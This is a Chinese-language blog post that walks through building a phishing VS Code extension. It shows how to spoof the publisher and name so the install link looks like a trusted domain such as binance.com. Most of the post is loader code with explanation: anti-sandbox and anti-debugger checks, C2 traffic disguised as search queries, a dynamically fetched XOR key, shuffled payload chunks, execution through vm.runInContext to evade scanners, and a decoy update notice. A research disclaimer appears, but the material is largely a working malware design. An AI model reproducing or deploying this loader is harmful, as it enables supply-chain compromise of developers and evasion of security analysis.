vscode钓鱼插件制作

Posted by Closure on July 30, 2025

扩展名伪装

vscode:// 协议是一个便捷功能,软件在安装时可以向操作系统注册一个自定义协议,安装了 VSCode 后系统就认识了 vscode:// 这个协议并知道所有以此开头的链接都应该交给 VSCode 程序来处理。但是这个传送门不仅能打开 VSCode 也可以直接向它传递指令,其中一个关键指令就是 extension/,它可以命令 VSCode 去在线应用市场查找并准备安装一个指定的扩展。

我想做的就是基于⬆️的vscode钓鱼插件,开发人员最信任什么?安装扩展插件来增强功能是一个再正常不过的日常操作,已经融入了日常工作流程所以攻击行为看起来一点也不可疑,而且上下文高度相关,比如在 VSCode里弹出一个提示要求用户安装扩展,在逻辑上是完全说得通的。

https://marketplace.visualstudio.com/manage 发布扩展的地址,如图

这里填写的 Publisher ID 将包含在 vscode:// 安装 URL 中,格式为:vscode://publisherid.extensionname,虽然微软提供域名验证选项,但这仅仅是给账户加“已验证”标识,并不影响 Publisher ID 的取值。因此我们可以将 Publisher ID 设为看似目标域名的字符串,无需任何域名验证。

扩展名由package.json中的name字段决定,并体现在 VSCode URL:vscode://targetdomain.extensionname。由于扩展名无需唯一,我们可以伪装顶级域名com,最终 URL 形如vscode://targetdomain.com在 VSCode 中打开此 URL 时,用户会看到包含扩展 Display Name 的提示,此处设置为 com。

 (示意)

然后在本地创建一个 VSCode 扩展,会自动生成包含 package.json 在内的整个项目框架。

npm install -g yo generator-code
yo code

然后如图生成器会问一系列问题用来配置,这里我选的是不打包。

生成之后的项目文件夹

{
  "name": "com",
  "displayName": "Smart Contract Security Audit",
  "description": "A built-in ruleset to detect common vulnerability patterns and provide real-time alerts.",
  "version": "0.0.1",
  "engines": {
    "vscode": "^1.102.0"
  },

这个name 是扩展的内部唯一标识符,就是我把这个扩展发布到一个名 binance的Publisher下时,VS Code Marketplace 就会生成一个安装链接:vscode://binance.com。

然后找入口文件 extension.js

打开如图

我要写的钓鱼代码在在 registerCommand的回调函数内部,替换掉 vscode.window.showInformationMessage(…) 这一行。

extension.js

所有技术仅用于学术研究技术分享和蓝队教学目的 未经授权对任何计算机系统进行渗透测试、植入恶意代码均属违法行为。 所有技术仅用于学术研究技术分享和蓝队教学目的 未经授权对任何计算机系统进行渗透测试、植入恶意代码均属违法行为。

因为███原因就不放源码了,放出来的也有部分修改删减,仅提供思路。

反沙箱

async function isAnalysisEnvironment(): Promise<boolean> {
    return (
        checkTimingHooks() ||
        checkVmArtifacts() ||
        checkRunningProcesses() ||
        await checkListeningPorts()
    );
}
  (OR) 逻辑是只要四项检测中有一项为真,整个函数就返回 true从而中止恶意行为。
function checkTimingHooks(): boolean {
    const iterations = 1000;
    const startTime = process.hrtime.bigint(); 
    for (let i = 0; i < iterations; i++) { Date.now(); } // 快速、无意义的循环
    const endTime = process.hrtime.bigint();
    const durationMs = Number(endTime - startTime) / 1_000_000; 
    return durationMs > 50; 
}

当一个程序被调试器或者或代码插桩工具附加时,CPU 执行每一条指令前后都可能被中来方便让调试器进行状态检查,这种Hooks会产生巨大的性能开销, 我选择了一个非常轻量的操作 Date.now() 并循环1000次,在正常机器上这个操作应该在几毫秒内完成,再设定了一个非常宽松的50ms,如果连这么简单的操作都耗时超过50毫秒几乎可肯定存在外部工具在监视和干扰程序的正常执行流。

checkVmArtifacts()是基于环境特征的反虚拟机,VM为了正常工作会在系统中留下特定的指纹。

function checkVmArtifacts(): boolean {
    // 检查环境变量
    const suspiciousEnv = ['VBOX', 'VMWARE', 'VIRTUAL', 'QEMU', 'HYPER-V', 'SANDBOX'];
    const envStr = JSON.stringify(process.env).toUpperCase();
    if (suspiciousEnv.some(keyword => envStr.includes(keyword))) return true;

    // 检查Windows下的硬件信息
    if (process.platform === 'win32') {
        try {
            const output = execSync('wmic diskdrive get model').toString().toUpperCase();
            const suspiciousModels = ['VBOX', 'VMWARE', 'VIRTUAL', 'QEMU'];
            if (suspiciousModels.some(model => output.includes(model))) return true;
        } catch (e) { /* ignore */ }
    }
    return false;
}

沙箱100%运行在虚拟化环境中,所以要通过检测这些环境特有的标识可以直接判断出自己身处实验室,环境变量:是最简单直接的方法,VMware、VirtualBox等软件通常会向客户机操作系统注入包含自身名称的环境变量。我这里还有硬件指纹,物理机的硬盘型号通常是Samsung、WDC、Seagate 等,而虚拟机的虚拟硬盘则有非常明显的名字,比如 VBOX HARDDISK、VMware Virtual IDE Hard Drive,所以通过Windows的管理工具接口查询磁盘型号可以识别这些虚拟硬件。

checkRunningProcesses()是基于工具进程的反分析,在分析样本时肯定会运行各种分析工具。

function checkRunningProcesses(): boolean {
    try {
        const cmd = process.platform === 'win32' ? 'tasklist' : 'ps aux';
        const output = execSync(cmd).toString().toLowerCase();
        const tools = ['wireshark', 'ida', 'idag', 'idaw', 'x64dbg', 'x32dbg', 'procmon', 'fiddler', 'gdb', 'ollydbg', 'windbg', 'processhacker'];
        return tools.some(tool => output.includes(tool));
    } catch (e) { return false; }
}

我的黑名单tools涵盖了wireshark, fiddler和ida, idag (IDA Pro), ghidra 以及调试器 x64dbg, ollydbg, windbg, gdb 和系统监控,只要在进程列表里发现任何一个的名字就立即撤退。

checkListeningPorts()是基于网络特征的精准打击,有些支持远程调试的工具会监听一个默认的网络端口。

async function checkListeningPorts(): Promise<boolean> {
    const suspiciousPorts = [23946]; // IDA Pro 默认远程调试端口
    try {
        const output = execSync('netstat -an').toString();
        return suspiciousPorts.some(port => new RegExp(`:${port}\\s+.*LISTENING`, 'i').test(output));
    } catch (e) { return false; }
}

这是对 heckRunningProcesses的一个补充,我平常虽然把我的dag.exe重命名为notepad.exe来绕过进程检测。但是没有修改默认的监听端口23946,这里用netstat -an 命令列出所有网络连接状态,然后用正则表达式精确匹配 :[端口号] 并且状态为LISTENING 的行。

沙箱部分思路就是多维检测 纵深防御 静默

C2通信和密钥获取

C2通信这个东西搭的时候有三个目标,高度隐蔽、动态灵活、对抗分析。也就是说网络通信的C2流量应该完美地伪装成正常无害的互联网流量,不能把任何敏感信息硬编码在二进制文件中,所有关键组件都必须从服务器动态获取,最后我必须假设代码和流量会被分析,所以通信协议的设计必须能抵御静态分析。

第一步是流量伪装与通道建立

function downloadChunk(index: number): Promise<string> {
    const options = {
        hostname: 'www.baidu.com',
        path: `/s?wd=payload_chunk_${index}`,
        headers: { 
            'User-Agent': 'Mozilla/5.0 ...',
            'Accept-Language': 'en-US,en;q=0.9',
            'Accept': 'text/html...',
        }
    };
    // ...
}

path 模仿了搜索查询,让这个请求不仅在网络层和传输层上看起来正常 在应用层上也符合预期,这里我提供了包括 Accept-Language 和 Accept 在内的、与 User-Agent 所宣称的 Chrome 浏览器完全匹配的一整套头部,可以绕过一些更高级基于指纹识别的机器人检测或异常检测系统。

第二步是动态密钥获取

async function getPayloadAndKeyFromC2(): Promise<{ payload:string; key: number } | null> {
    // --- 步骤 1: 获取包含密钥的第一个分片 ---
    const firstChunkBase64 = await downloadChunkWithTimeout(0);
    // ...
    const firstChunkBuffer = Buffer.from(firstChunkBase64, 'base64');
    const offset = firstChunkBuffer[0];
    // 假设密钥是垃圾数据区的第一个字节
    const dynamicKey = firstChunkBuffer[offset + 1]; 
    chunks[0] = firstChunkBase64;
    // ...
}

问题在于如果我把XOR加密的密钥写死在代码里那么只要样本被捕获就能立即提取密钥来解密我的所有payload,所以得让密钥本身也成为载荷的一部分并且是第一部分。

程序首先下载第 0 号分片 (payload_chunk_0),这个分片和其他分片一样也经过了 Base64 -> 添加垃圾数据 -> 加密 -> 压缩 的逆向处理,在我的C2服务器上 payload_chunk_0 的原始数据中,在随机垃圾数据之后我放置了用于解密所有分片的单字节XOR密钥。客户端代码 const dynamicKey = firstChunkBuffer[offset + 1];的作用就是在Base64解码后,跳过由第一个字节 offset 指定的垃圾数据,然后读取紧随其后的那个字节。

这样静态分析无效,动态分析更难,必须成功与C2建立连接获取到第一个分片,并正确理解这个垃圾数据+密钥的结构才能继续分析。 为每个受害者或者每次通信都生成不同的密钥,破解一个样本对于分析其他样本毫无帮助。

第三步payload分片与随机化下载

const remainingIndices = Array.from({ length: totalChunks - 1 }, (_, i) => i + 1);
shuffleArray(remainingIndices); // 打乱下载顺序

const downloadPromises = remainingIndices.map(index => {
    return new Promise<void>(async (resolve) => {
        const randomDelay = Math.random() * 800; // 随机延迟
        setTimeout(async () => {
            // ... download logic
        }, randomDelay);
    });
});

await Promise.all(downloadPromises);

为什么要分片?因为一次性下载一个大的高熵加密文件,容易被NIDS标记为可疑,但是将它分割成多个小文件每次下载的数据量都很小,看起来更像是网页加载的正常资源。 如果按顺序(1, 2, 3, 4)且固定间隔下载分片这种规律性的行为模式也可能被检测到,我将分片的下载顺序完全打乱,一次执行可能是 [3, 1, 4, 2],下一次可能是 [1, 4, 2, 3],并且在每次下载前都加入一个0到800毫秒的随机延迟。最终效果:从网络流量上看,表现为在一段时间内对c2的几个分散无序小体积的GET请求。

解包与执行

主要也是为了对抗静态分析和确保稳定与隐蔽。

function unpackAndExecute(base64Payload: string, key: number) {
    try {
        // ... 五个步骤 ...
    } catch (e) {
        console.error("Failed to unpack or execute payload...", e);
    }
}

整个函数被包裹在 try…catch 中任何一步解包失败都会捕获异常并静默失败而不是让扩展崩溃。

第一步

const packedBuffer = Buffer.from(base64Payload, 'base64');

将从C2服务器接收到的经过Base64编码的字符串还原成二进制的Buffer对象,这是最基础的一层伪装能阻止最简单的分析。

第二步移除垃圾数据

const offset = packedBuffer[0]; const encryptedGzippedData = packedBuffer.slice(offset + 1);

读取解码后二进制数据的第一个字节,作为偏移量然后从第二个字节开始跳过这个偏移量指定的长度,来获取剩余的数据。因为当分析师拿到解码后的二进制数据时,第一反应通常是使用文件类型识别工具来处理它,但由于数据开头被插入了一段随机长度的垃圾数据,这些工具会因为无法识别文件头而报错失败。

我定义了一个微型的、私有的数据格式:[垃圾数据长度] [垃圾数据] [真实数据]。分析的必须阅读并理解加载器的代码逻辑,而不能依赖标准工具一键解包。

第三步XOR解密

const gzippedData = xorCrypt(encryptedGzippedData, key);

使用 xorCrypt 函数和从C2服务器获取的动态密钥 key对数据进行逐字节的异或解密。由于密钥 key 是在与C2通信时动态获取的,而非硬编码在代码中,这意味着离线分析是无效的,即使分析师获得了完整的载荷数据 base64Payload,但是没有在同一次会话中捕获到的那个动态密钥,那么这份payload就是一堆无法破解的乱码,解密与一次成功的实时网络通信强绑定。

第四步Gzip解压

const finalJs = zlib.unzipSync(gzippedData).toString('utf8');

将解密后的数据作为Gzip压缩流进行解压,还原为UTF-8编码的JavaScript代码字符串,因为压缩可以显著减小最终的体积,更快和更隐蔽,即使幸运地猜对了XOR密钥,得到的也只是一段二进制压缩数据,不是可读的JavaScript代码。

第五步沙箱执行

const sandbox = { vscode, console }; vm.createContext(sandbox); vm.runInContext(finalJs, sandbox, { timeout: 5000 });

使用Node.js的 vm (虚拟机) 模块来执行最终的JavaScript代码,eval() 是执行动态代码最直接的方式,但它也是所有静态代码扫描工具和安全策略严防死守的头号危险函数,使用 vm.runInContext 是一种更合法的方式,可以绕过许多基于签名的简单检测。

我没有给最终payload一个完全不受限制的运行环境,而是创建了一个最小权限的沙箱,只把 vscode 和 console 这两个API对象作为全局变量传给它,最终的代码只能通过VS Code的官方API和打印日志来进行操作,即插即用并且不会与加载器的其他部分产生变量污染,也保证了即使有bug也不会轻易搞垮整个扩展。

补充 动态执行代码的eval() 因其简单粗暴而臭名昭著,它在当前作用域内直接执行代码字符串,意味着执行的代码可以无限制地访问和修改 eval() 调用环境中的所有变量、函数和闭包。这使其成为一个巨大的安全隐患,并且是所有静态代码分析工具(SAST)、Linter 和安全策略首要封禁的目标。任何有经验的攻击者都知道,在恶意代码中直接使用 eval() 相当于在黑夜中点亮一个巨大的霓虹灯,上面写着“我是恶意软件”。

因此攻击者需要一个功能等价但更为隐蔽的替代方案。Node.js 的 vm 模块恰好满足了这一需求。vm 模块的核心机制是上下文隔离 vm 模块的主要设计目标是在一个独立的、隔离的 V8 上下文中执行 JavaScript 代码。这通过 vm.createContext(sandbox) 和 vm.runInContext(code, context) 等函数实现。

vm.createContext(sandbox): 接受一个对象 sandbox,并将其“情景化(Contextify)”。这个被情景化的对象将成为新V8上下文的全局对象。

vm.runInContext(code, context): 在指定的上下文中执行代码。代码中的所有全局变量的读写操作都将被限制在这个 context 对象内,而无法触及主程序的全局作用域。

我们只向沙箱中传递了必要的 vscode 和 console API,这看起来既干净又受控。

伪装

function showBenignNotification() {
    vscode.window.showInformationMessage(
        "The 'C/C++ IntelliSense' extension recommends an update for better performance.",
        'Update', 'Later'
    ).then(selection => {
        if (selection === 'Update') {
            vscode.env.openExternal(vscode.Uri.parse('https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools'));
        }
    });
}

在作案之后立即提供解释,showBenignNotification() 在 activate 函数的 try 块末尾被调用,也就是紧随在 C2 通信和payload执行之后发生。代码中模仿的对象是 The ‘C/C++ IntelliSense’ extension (ms-vscode.cpptools),这是由微软官方发布的扩展有数千万的安装量,C草扩展功能强大还复杂,需要运行独立的语言服务器进行大量的代码索引工作。因此为了提升性能而推荐更新是一个非常合情合理的理由。

if (selection === 'Update') {
    vscode.env.openExternal(vscode.Uri.parse('https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools'));
}

函数提供了“Update”和“Later”两个按钮,并且对“Update”按钮的点击事件做了处理,如果一个多疑的用户想要验证这个通知的真伪,他最有可能做出的行为就是点击Updat”按钮,而这个恶意代码做出的响应是打开一个浏览器,并导航到 C/C++ 扩展在 VS Code 官方市场中的真实页面。